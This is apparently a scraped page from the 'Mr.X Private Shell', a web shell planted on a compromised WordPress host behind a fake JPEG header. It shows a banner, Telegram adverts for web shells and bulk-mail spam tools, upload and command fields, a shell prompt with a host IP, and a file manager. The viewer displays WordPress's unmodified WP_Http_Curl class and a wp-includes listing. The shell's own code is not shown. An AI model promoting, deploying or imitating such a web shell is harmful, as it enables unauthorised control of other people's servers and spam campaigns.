����JFIF��������� Mr.X
  
  __  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        
For_More_Tools: Telegram: @jackleet | Bulk Smtp support mail sender | Business Mail Collector | Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private



Upload:

Command:

antiaginglove@216.73.216.204: ~ $
<?php
/**
 * HTTP API: WP_Http_Curl class
 *
 * @package WordPress
 * @subpackage HTTP
 * @since 4.4.0
 */

/**
 * Core class used to integrate Curl as an HTTP transport.
 *
 * HTTP request method uses Curl extension to retrieve the url.
 *
 * Requires the Curl extension to be installed.
 *
 * @since 2.7.0
 */
class WP_Http_Curl {

	/**
	 * Temporary header storage for during requests.
	 *
	 * @since 3.2.0
	 * @var string
	 */
	private $headers = '';

	/**
	 * Temporary body storage for during requests.
	 *
	 * @since 3.6.0
	 * @var string
	 */
	private $body = '';

	/**
	 * The maximum amount of data to receive from the remote server.
	 *
	 * @since 3.6.0
	 * @var int
	 */
	private $max_body_length = false;

	/**
	 * The file resource used for streaming to file.
	 *
	 * @since 3.6.0
	 * @var resource
	 */
	private $stream_handle = false;

	/**
	 * The total bytes written in the current request.
	 *
	 * @since 4.1.0
	 * @var int
	 */
	private $bytes_written_total = 0;

	/**
	 * Send a HTTP request to a URI using cURL extension.
	 *
	 * @since 2.7.0
	 *
	 * @param string $url The request URL.
	 * @param string|array $args Optional. Override the defaults.
	 * @return array|WP_Error Array containing 'headers', 'body', 'response', 'cookies', 'filename'. A WP_Error instance upon error
	 */
	public function request( $url, $args = array() ) {
		$defaults = array(
			'method'      => 'GET',
			'timeout'     => 5,
			'redirection' => 5,
			'httpversion' => '1.0',
			'blocking'    => true,
			'headers'     => array(),
			'body'        => null,
			'cookies'     => array(),
		);

		$r = wp_parse_args( $args, $defaults );

		if ( isset( $r['headers']['User-Agent'] ) ) {
			$r['user-agent'] = $r['headers']['User-Agent'];
			unset( $r['headers']['User-Agent'] );
		} elseif ( isset( $r['headers']['user-agent'] ) ) {
			$r['user-agent'] = $r['headers']['user-agent'];
			unset( $r['headers']['user-agent'] );
		}

		// Construct Cookie: header if any cookies are set.
		WP_Http::buildCookieHeader( $r );

		$handle = curl_init();

		// cURL offers really easy proxy support.
		$proxy = new WP_HTTP_Proxy();

		if ( $proxy->is_enabled() && $proxy->send_through_proxy( $url ) ) {

			curl_setopt( $handle, CURLOPT_PROXYTYPE, CURLPROXY_HTTP );
			curl_setopt( $handle, CURLOPT_PROXY, $proxy->host() );
			curl_setopt( $handle, CURLOPT_PROXYPORT, $proxy->port() );

			if ( $proxy->use_authentication() ) {
				curl_setopt( $handle, CURLOPT_PROXYAUTH, CURLAUTH_ANY );
				curl_setopt( $handle, CURLOPT_PROXYUSERPWD, $proxy->authentication() );
			}
		}

		$is_local   = isset( $r['local'] ) && $r['local'];
		$ssl_verify = isset( $r['sslverify'] ) && $r['sslverify'];
		if ( $is_local ) {
			/** This filter is documented in site-inc/class-wp-http-streams.php */
			$ssl_verify = apply_filters( 'https_local_ssl_verify', $ssl_verify, $url );
		} elseif ( ! $is_local ) {
			/** This filter is documented in site-inc/class-http.php */
			$ssl_verify = apply_filters( 'https_ssl_verify', $ssl_verify, $url );
		}

		/*
		 * CURLOPT_TIMEOUT and CURLOPT_CONNECTTIMEOUT expect integers. Have to use ceil since.
		 * a value of 0 will allow an unlimited timeout.
		 */
		$timeout = (int) ceil( $r['timeout'] );
		curl_setopt( $handle, CURLOPT_CONNECTTIMEOUT, $timeout );
		curl_setopt( $handle, CURLOPT_TIMEOUT, $timeout );

		curl_setopt( $handle, CURLOPT_URL, $url );
		curl_setopt( $handle, CURLOPT_RETURNTRANSFER, true );
		curl_setopt( $handle, CURLOPT_SSL_VERIFYHOST, ( $ssl_verify === true ) ? 2 : false );
		curl_setopt( $handle, CURLOPT_SSL_VERIFYPEER, $ssl_verify );

		if ( $ssl_verify ) {
			curl_setopt( $handle, CURLOPT_CAINFO, $r['sslcertificates'] );
		}

		curl_setopt( $handle, CURLOPT_USERAGENT, $r['user-agent'] );

		/*
		 * The option doesn't work with safe mode or when open_basedir is set, and there's
		 * a bug #17490 with redirected POST requests, so handle redirections outside Curl.
		 */
		curl_setopt( $handle, CURLOPT_FOLLOWLOCATION, false );
		if ( defined( 'CURLOPT_PROTOCOLS' ) ) { // PHP 5.2.10 / cURL 7.19.4
			curl_setopt( $handle, CURLOPT_PROTOCOLS, CURLPROTO_HTTP | CURLPROTO_HTTPS );
		}

		switch ( $r['method'] ) {
			case 'HEAD':
				curl_setopt( $handle, CURLOPT_NOBODY, true );
				break;
			case 'POST':
				curl_setopt( $handle, CURLOPT_POST, true );
				curl_setopt( $handle, CURLOPT_POSTFIELDS, $r['body'] );
				break;
			case 'PUT':
				curl_setopt( $handle, CURLOPT_CUSTOMREQUEST, 'PUT' );
				curl_setopt( $handle, CURLOPT_POSTFIELDS, $r['body'] );
				break;
			default:
				curl_setopt( $handle, CURLOPT_CUSTOMREQUEST, $r['method'] );
				if ( ! is_null( $r['body'] ) ) {
					curl_setopt( $handle, CURLOPT_POSTFIELDS, $r['body'] );
				}
				break;
		}

		if ( true === $r['blocking'] ) {
			curl_setopt( $handle, CURLOPT_HEADERFUNCTION, array( $this, 'stream_headers' ) );
			curl_setopt( $handle, CURLOPT_WRITEFUNCTION, array( $this, 'stream_body' ) );
		}

		curl_setopt( $handle, CURLOPT_HEADER, false );

		if ( isset( $r['limit_response_size'] ) ) {
			$this->max_body_length = intval( $r['limit_response_size'] );
		} else {
			$this->max_body_length = false;
		}

		// If streaming to a file open a file handle, and setup our curl streaming handler.
		if ( $r['stream'] ) {
			if ( ! WP_DEBUG ) {
				$this->stream_handle = @fopen( $r['filename'], 'w+' );
			} else {
				$this->stream_handle = fopen( $r['filename'], 'w+' );
			}
			if ( ! $this->stream_handle ) {
				return new WP_Error(
					'http_request_failed',
					sprintf(
						/* translators: 1: fopen(), 2: file name */
						__( 'Could not open handle for %1$s to %2$s.' ),
						'fopen()',
						$r['filename']
					)
				);
			}
		} else {
			$this->stream_handle = false;
		}

		if ( ! empty( $r['headers'] ) ) {
			// cURL expects full header strings in each element.
			$headers = array();
			foreach ( $r['headers'] as $name => $value ) {
				$headers[] = "{$name}: $value";
			}
			curl_setopt( $handle, CURLOPT_HTTPHEADER, $headers );
		}

		if ( $r['httpversion'] == '1.0' ) {
			curl_setopt( $handle, CURLOPT_HTTP_VERSION, CURL_HTTP_VERSION_1_0 );
		} else {
			curl_setopt( $handle, CURLOPT_HTTP_VERSION, CURL_HTTP_VERSION_1_1 );
		}

		/**
		 * Fires before the cURL request is executed.
		 *
		 * Cookies are not currently handled by the HTTP API. This action allows
		 * plugins to handle cookies themselves.
		 *
		 * @since 2.8.0
		 *
		 * @param resource $handle  The cURL handle returned by curl_init() (passed by reference).
		 * @param array    $r       The HTTP request arguments.
		 * @param string   $url     The request URL.
		 */
		do_action_ref_array( 'http_api_curl', array( &$handle, $r, $url ) );

		// We don't need to return the body, so don't. Just execute request and return.
		if ( ! $r['blocking'] ) {
			curl_exec( $handle );

			if ( $curl_error = curl_error( $handle ) ) {
				curl_close( $handle );
				return new WP_Error( 'http_request_failed', $curl_error );
			}
			if ( in_array( curl_getinfo( $handle, CURLINFO_HTTP_CODE ), array( 301, 302 ) ) ) {
				curl_close( $handle );
				return new WP_Error( 'http_request_failed', __( 'Too many redirects.' ) );
			}

			curl_close( $handle );
			return array(
				'headers'  => array(),
				'body'     => '',
				'response' => array(
					'code'    => false,
					'message' => false,
				),
				'cookies'  => array(),
			);
		}

		curl_exec( $handle );
		$theHeaders          = WP_Http::processHeaders( $this->headers, $url );
		$theBody             = $this->body;
		$bytes_written_total = $this->bytes_written_total;

		$this->headers             = '';
		$this->body                = '';
		$this->bytes_written_total = 0;

		$curl_error = curl_errno( $handle );

		// If an error occurred, or, no response.
		if ( $curl_error || ( 0 == strlen( $theBody ) && empty( $theHeaders['headers'] ) ) ) {
			if ( CURLE_WRITE_ERROR /* 23 */ == $curl_error ) {
				if ( ! $this->max_body_length || $this->max_body_length != $bytes_written_total ) {
					if ( $r['stream'] ) {
						curl_close( $handle );
						fclose( $this->stream_handle );
						return new WP_Error( 'http_request_failed', __( 'Failed to write request to temporary file.' ) );
					} else {
						curl_close( $handle );
						return new WP_Error( 'http_request_failed', curl_error( $handle ) );
					}
				}
			} else {
				if ( $curl_error = curl_error( $handle ) ) {
					curl_close( $handle );
					return new WP_Error( 'http_request_failed', $curl_error );
				}
			}
			if ( in_array( curl_getinfo( $handle, CURLINFO_HTTP_CODE ), array( 301, 302 ) ) ) {
				curl_close( $handle );
				return new WP_Error( 'http_request_failed', __( 'Too many redirects.' ) );
			}
		}

		curl_close( $handle );

		if ( $r['stream'] ) {
			fclose( $this->stream_handle );
		}

		$response = array(
			'headers'  => $theHeaders['headers'],
			'body'     => null,
			'response' => $theHeaders['response'],
			'cookies'  => $theHeaders['cookies'],
			'filename' => $r['filename'],
		);

		// Handle redirects.
		if ( false !== ( $redirect_response = WP_HTTP::handle_redirects( $url, $r, $response ) ) ) {
			return $redirect_response;
		}

		if ( true === $r['decompress'] && true === WP_Http_Encoding::should_decode( $theHeaders['headers'] ) ) {
			$theBody = WP_Http_Encoding::decompress( $theBody );
		}

		$response['body'] = $theBody;

		return $response;
	}

	/**
	 * Grabs the headers of the cURL request.
	 *
	 * Each header is sent individually to this callback, so we append to the `$header` property
	 * for temporary storage
	 *
	 * @since 3.2.0
	 *
	 * @param resource $handle  cURL handle.
	 * @param string   $headers cURL request headers.
	 * @return int Length of the request headers.
	 */
	private function stream_headers( $handle, $headers ) {
		$this->headers .= $headers;
		return strlen( $headers );
	}

	/**
	 * Grabs the body of the cURL request.
	 *
	 * The contents of the document are passed in chunks, so we append to the `$body`
	 * property for temporary storage. Returning a length shorter than the length of
	 * `$data` passed in will cause cURL to abort the request with `CURLE_WRITE_ERROR`.
	 *
	 * @since 3.6.0
	 *
	 * @param resource $handle  cURL handle.
	 * @param string   $data    cURL request body.
	 * @return int Total bytes of data written.
	 */
	private function stream_body( $handle, $data ) {
		$data_length = strlen( $data );

		if ( $this->max_body_length && ( $this->bytes_written_total + $data_length ) > $this->max_body_length ) {
			$data_length = ( $this->max_body_length - $this->bytes_written_total );
			$data        = substr( $data, 0, $data_length );
		}

		if ( $this->stream_handle ) {
			$bytes_written = fwrite( $this->stream_handle, $data );
		} else {
			$this->body   .= $data;
			$bytes_written = $data_length;
		}

		$this->bytes_written_total += $bytes_written;

		// Upon event of this function returning less than strlen( $data ) curl will error with CURLE_WRITE_ERROR.
		return $bytes_written;
	}

	/**
	 * Determines whether this class can be used for retrieving a URL.
	 *
	 * @since 2.7.0
	 *
	 * @param array $args Optional. Array of request arguments. Default empty array.
	 * @return bool False means this class can not be used, true means it can.
	 */
	public static function test( $args = array() ) {
		if ( ! function_exists( 'curl_init' ) || ! function_exists( 'curl_exec' ) ) {
			return false;
		}

		$is_ssl = isset( $args['ssl'] ) && $args['ssl'];

		if ( $is_ssl ) {
			$curl_version = curl_version();
			// Check whether this cURL version support SSL requests.
			if ( ! ( CURL_VERSION_SSL & $curl_version['features'] ) ) {
				return false;
			}
		}

		/**
		 * Filters whether cURL can be used as a transport for retrieving a URL.
		 *
		 * @since 2.7.0
		 *
		 * @param bool  $use_class Whether the class can be used. Default true.
		 * @param array $args      An array of request arguments.
		 */
		return apply_filters( 'use_curl_transport', true, $args );
	}
}

Filemanager

Name Type Size Permission Actions
ID3 Folder 0755
IXR Folder 0755
PHPMailer Folder 0755
Requests Folder 0755
SimplePie Folder 0755
Text Folder 0755
certificates Folder 0755
css Folder 0755
customize Folder 0755
images Folder 0755
js Folder 0755
pomo Folder 0755
random_compat Folder 0755
rest-api Folder 0755
theme-compat Folder 0755
widgets Folder 0755
admin-bar.php File 29.03 KB 0644
atomlib.php File 11.56 KB 0644
author-template.php File 16.22 KB 0644
blocks.php File 12.43 KB 0644
bookmark-template.php File 11.64 KB 0644
bookmark.php File 13.55 KB 0644
bootstrap.php File 4.11 KB 0644
cache.php File 21.35 KB 0644
canonical.php File 27.83 KB 0644
capabilities.php File 28.84 KB 0644
category-template.php File 50.8 KB 0644
category.php File 12.41 KB 0644
class-IXR.php File 2.51 KB 0644
class-feed.php File 523 B 0644
class-http.php File 36.22 KB 0644
class-json.php File 39.53 KB 0644
class-oembed.php File 30.73 KB 0644
class-phpass.php File 7.15 KB 0644
class-phpmailer.php File 668 B 0644
class-pop3.php File 20.43 KB 0644
class-requests.php File 29.09 KB 0644
class-simplepie.php File 87.17 KB 0644
class-smtp.php File 461 B 0644
class-walker-category-dropdown.php File 2.07 KB 0644
class-walker-category.php File 6.62 KB 0644
class-walker-comment.php File 13.33 KB 0644
class-walker-nav-menu.php File 8.38 KB 0644
class-walker-page-dropdown.php File 2.24 KB 0644
class-walker-page.php File 6.78 KB 0644
class-wp-admin-bar.php File 16.08 KB 0644
class-wp-ajax-response.php File 5.01 KB 0644
class-wp-block-parser.php File 14.86 KB 0644
class-wp-block-type-registry.php File 4.63 KB 0644
class-wp-block-type.php File 4.7 KB 0644
class-wp-comment-query.php File 42.21 KB 0644
class-wp-comment.php File 8.75 KB 0644
class-wp-customize-control.php File 24.49 KB 0644
class-wp-customize-manager.php File 195.47 KB 0644
class-wp-customize-nav-menus.php File 53.08 KB 0644
class-wp-customize-panel.php File 9.42 KB 0644
class-wp-customize-section.php File 9.99 KB 0644
class-wp-customize-setting.php File 27.59 KB 0644
class-wp-dependency.php File 2.28 KB 0644
class-wp-editor.php File 66.27 KB 0644
class-wp-embed.php File 14.38 KB 0644
class-wp-error.php File 4.81 KB 0644
class-wp-feed-cache-transient.php File 2.5 KB 0644
class-wp-feed-cache.php File 749 B 0644
class-wp-hook.php File 13.77 KB 0644
class-wp-http-cookie.php File 6.44 KB 0644
class-wp-http-curl.php File 11.64 KB 0644
class-wp-http-encoding.php File 6.35 KB 0644
class-wp-http-ixr-client.php File 3.25 KB 0644
class-wp-http-proxy.php File 5.92 KB 0644
class-wp-http-requests-hooks.php File 1.83 KB 0644
class-wp-http-requests-response.php File 4.19 KB 0644
class-wp-http-response.php File 2.8 KB 0644
class-wp-http-streams.php File 15.02 KB 0644
class-wp-image-editor-gd.php File 13.18 KB 0644
class-wp-image-editor-imagick.php File 21.27 KB 0644
class-wp-image-editor.php File 11.49 KB 0644
class-wp-list-util.php File 6.25 KB 0644
class-wp-locale-switcher.php File 4.91 KB 0644
class-wp-locale.php File 14.26 KB 0644
class-wp-matchesmapregex.php File 1.76 KB 0644
class-wp-meta-query.php File 22.86 KB 0644
class-wp-metadata-lazyloader.php File 5.26 KB 0644
class-wp-network-query.php File 16.79 KB 0644
class-wp-network.php File 11.93 KB 0644
class-wp-oembed-controller.php File 5.88 KB 0644
class-wp-post-type.php File 17.81 KB 0644
class-wp-post.php File 6.28 KB 0644
class-wp-query.php File 127.67 KB 0644
class-wp-rewrite.php File 58.42 KB 0644
class-wp-role.php File 2.6 KB 0644
class-wp-roles.php File 8.13 KB 0644
class-wp-session-tokens.php File 7.25 KB 0644
class-wp-simplepie-file.php File 2.27 KB 0644
class-wp-simplepie-sanitize-kses.php File 1.73 KB 0644
class-wp-site-query.php File 26.78 KB 0644
class-wp-site.php File 7.13 KB 0644
class-wp-tax-query.php File 18.81 KB 0644
class-wp-taxonomy.php File 10.41 KB 0644
class-wp-term-query.php File 33.84 KB 0644
class-wp-term.php File 5.14 KB 0644
class-wp-text-diff-renderer-inline.php File 716 B 0644
class-wp-text-diff-renderer-table.php File 16.06 KB 0644
class-wp-theme.php File 48.09 KB 0644
class-wp-user-meta-session-tokens.php File 2.92 KB 0644
class-wp-user-query.php File 30.49 KB 0644
class-wp-user.php File 20.91 KB 0644
class-wp-walker.php File 12.39 KB 0644
class-wp-widget-factory.php File 3.69 KB 0644
class-wp-widget.php File 17.41 KB 0644
class-wp-xmlrpc-server.php File 202.08 KB 0644
class-wp.php File 24.18 KB 0644
class.wp-dependencies.php File 11.24 KB 0644
class.wp-scripts.php File 17.4 KB 0644
class.wp-styles.php File 9.61 KB 0644
comment-template.php File 87.64 KB 0644
comment.php File 111.72 KB 0644
compat.php File 15.99 KB 0644
cron.php File 30.82 KB 0644
date.php File 34.34 KB 0644
default-constants.php File 9.61 KB 0644
default-filters.php File 24.76 KB 0644
default-widgets.php File 2.13 KB 0644
embed.php File 44.04 KB 0644
feed-atom-comments.php File 5.33 KB 0644
feed-atom.php File 3.09 KB 0644
feed-rdf.php File 2.67 KB 0644
feed-rss.php File 1.25 KB 0644
feed-rss2-comments.php File 4.09 KB 0644
feed-rss2.php File 3.77 KB 0644
feed.php File 19.29 KB 0644
formatting.php File 280.29 KB 0644
functions.php File 210.22 KB 0644
functions.wp-scripts.php File 12.53 KB 0644
functions.wp-styles.php File 8.03 KB 0644
general-template.php File 138.46 KB 0644
http.php File 21.9 KB 0644
kses.php File 57.23 KB 0644
l10n.php File 50.67 KB 0644
link-template.php File 135.4 KB 0644
load.php File 36.4 KB 0644
media-template.php File 46.33 KB 0644
media.php File 141.33 KB 0644
meta.php File 44.98 KB 0644
mime.php File 39.54 KB 0644
nav-menu-template.php File 21.2 KB 0644
nav-menu.php File 39.57 KB 0644
open_basedir.php File 21 B 0644
option.php File 67.91 KB 0644
pluggable.php File 97.52 KB 0644
plugin.php File 31.37 KB 0644
post-formats.php File 6.86 KB 0644
post-template.php File 60.22 KB 0644
post-thumbnail-template.php File 8.75 KB 0644
post.php File 227.37 KB 0644
query.php File 31.24 KB 0644
rest-api.php File 40.67 KB 0644
revision.php File 21.08 KB 0644
rewrite.php File 17.27 KB 0644
robots-template.php File 5.06 KB 0644
rss.php File 22.66 KB 0644
script-loader.php File 98.75 KB 0644
shortcodes.php File 20.25 KB 0644
sitepad_functions.php File 19.73 KB 0644
sitepad_functions2.php File 21.99 KB 0644
spl-autoload-compat.php File 2.51 KB 0644
taxonomy.php File 152.95 KB 0644
template-loader.php File 2.55 KB 0644
template.php File 19.77 KB 0644
theme.php File 99.09 KB 0644
update.php File 24.81 KB 0644
user.php File 120.69 KB 0644
vars.php File 5.59 KB 0644
version.php File 2.03 KB 0644
widgets.php File 55.82 KB 0644
wlwmanifest.xml File 1.03 KB 0644
wp-db.php File 99.29 KB 0644
wp-diff.php File 662 B 0644